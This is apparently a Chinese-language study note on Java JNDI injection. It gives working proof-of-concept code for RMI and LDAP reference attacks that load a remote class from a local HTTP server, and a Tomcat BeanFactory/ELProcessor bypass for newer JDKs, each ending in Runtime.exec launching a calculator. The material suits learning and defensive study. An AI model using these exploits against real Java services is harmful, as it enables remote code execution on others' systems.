https://goodapple.top/archives/696
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://www. bilibili.com/video/BV1P54y1Z7Lf/?spm_id_from=333.1387.homepage.video_card.click&vd_source=d51dbb41ef00391c5c021ee533eafd8e
JNDI 简介
JNDI, Java Naming and Directory Interface
即 Java 名称与目录接口
也就是一个名字对应一个接口
jndi 在 jdk 里面支持以下四种服务, 前三种都是字符串对应对象,DNS 是 IP 对应域名。
- LDAP:轻量级目录访问协议
- 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
- Java 远程方法调用(RMI) 注册表
- DNS 服务
JNDI 接口主要分为下述 5 个包:
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
javax.naming.event:在命名目录服务器中请求事件通知
javax.naming.ldap:提供LDAP服务支持
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务
JNDI 分析
通过代码来查看 JNDI 是如何实现与各服务进行交互的
JDNI_RMI
jdk 版本为 180u65
remoteObj 和 remoteObj 的实现类都还是和之前一样的
JNDIRMIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package xekoner; import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); } }
|
JNDIRMIClient.java
1 2 3 4 5 6 7 8 9 10 11 12 13
| package xekoner; import javax.naming.InitialContext; public class JNDIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
|
RMI 原生漏洞
这里虽然是通过 JNDI 调用的方法,但是实际上还是用的是 RMI 库里的原生的 lookup 方法
在 RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj"); 处下断点调试

一路跟进 lookup 方法,最后可以看到依然是调用的 RMI 的 lookup 方法

也就是说 RMI 中存在的漏洞,JNDI 这里也会有。
但这不是所谓的 JNDI 漏洞。
JNDI 漏洞
这个漏洞被称为 JNDI 注入漏洞
与所调用服务无关,不管是 RMI、DNS、LDAP 或者是其他的都会存在这个问题
原理是在服务端调用了个 Reference 对象,可以理解成类似于一个代理
我们把这一行代码:
1
| initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
|
改为
1 2
| Reference reference = new Reference("Calc","Calc","http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
|
很像 URLClassLoader,远程加载类。
其中 Clac.java
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException; public class Calc { static{ try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
build project 以后拿出 class 文件,python 起一个临时的 http server
1
| python3 -m http.server 7777
|
Client 不需要改动正常执行代码

有报错是正常的因为找不到方法。
在 Client Lookup 方法处打一个断点进行调试
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
走到 decode 处,跟进

这一步是获取到 reference

跟进 NamingManager.getObjectInstance
走进 getObjectFactoryFromReference 方法中,这里的加载器是 AppClassLoader,肯定是找不到本地的类的。

所以 clas 肯定是 null

然后就会走到 clas = helper.loadClass(factoryName, codebase);
直接通过 URL 去加载 class, URLClassLoader

最后在 newInstance() 这一步执行代码
然后攻击点的话,就是因为客户端进行了 lookup() 方法的调用。
这个漏洞在 jdk8u121 当中被修复,也就是 lookup() 方法只可以对本地进行 lookup() 方法的调用。
JNDI & LDAP
LDAP(轻量级目录访问协议,Lightweight Directory Access Protocol)是一种用于访问和管理分布式目录服务信息的开放工业标准应用层协议。
LDAP 的 JNDI 漏洞
启动一个 LDAP 服务,导入对应的 pom 坐标:
1 2 3 4 5 6
| <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.2.0</version> <scope>test</scope> </dependency>
|
LdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) { int port = 1389; String url = "http://127.0.0.1:7777/#winCalcPure"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; }
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "winCalcPure"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
LdapClient.java
1 2 3 4 5 6 7 8 9 10 11 12
| import javax.naming.InitialContext; import javax.naming.NamingException; public class LdapClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1389/remoteObj"); System.out.println(remoteObj.sayHello("hello")); } }
|
这个攻击还是和之前说的 Reference
JDNI 绕过
jdk version 在 8u191之后的绕过方式
先看一下在8u191之后做了哪些修复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }
public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null; } }
|
这里使用8u241
使用本地恶意 Class 作为 Reference Factory
简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法。
大佬找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。
Server 和 Client 导入坐标:
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.12</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.12</version> </dependency>
|
Server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import org.apache.naming.ResourceRef; import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; public class JNDIBypassHighJavaServerRebind { public static void main(String[] args) throws Exception{ LocateRegistry.createRegistry(1099); InitialContext initialContext = new InitialContext(); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","", true,"org.apache.naming.factory.BeanFactory",null ); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef); } }
|
Client
1 2 3 4 5 6 7 8 9 10
| import javax.naming.Context; import javax.naming.InitialContext; public class JNDIBypassHighJavaClient { public static void main(String[] args) throws Exception { String uri = "rmi://localhost:1099/remoteObj"; Context context = new InitialContext(); context.lookup(uri); } }
|
调试一下代码,分析过程:
还是进入到 return this.decodeObject(var2, var1.getPrefix(1)); ,decodeObject 中
此时的 Ref 是 EL 表达式
因为是从本地加载可以获取,所以肯定是有 clas 的

最后返回出去
强转成 ObjectFactory, 我们传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点:

后续进入到 getinstance 方法中,进行一系列判断后会 invoke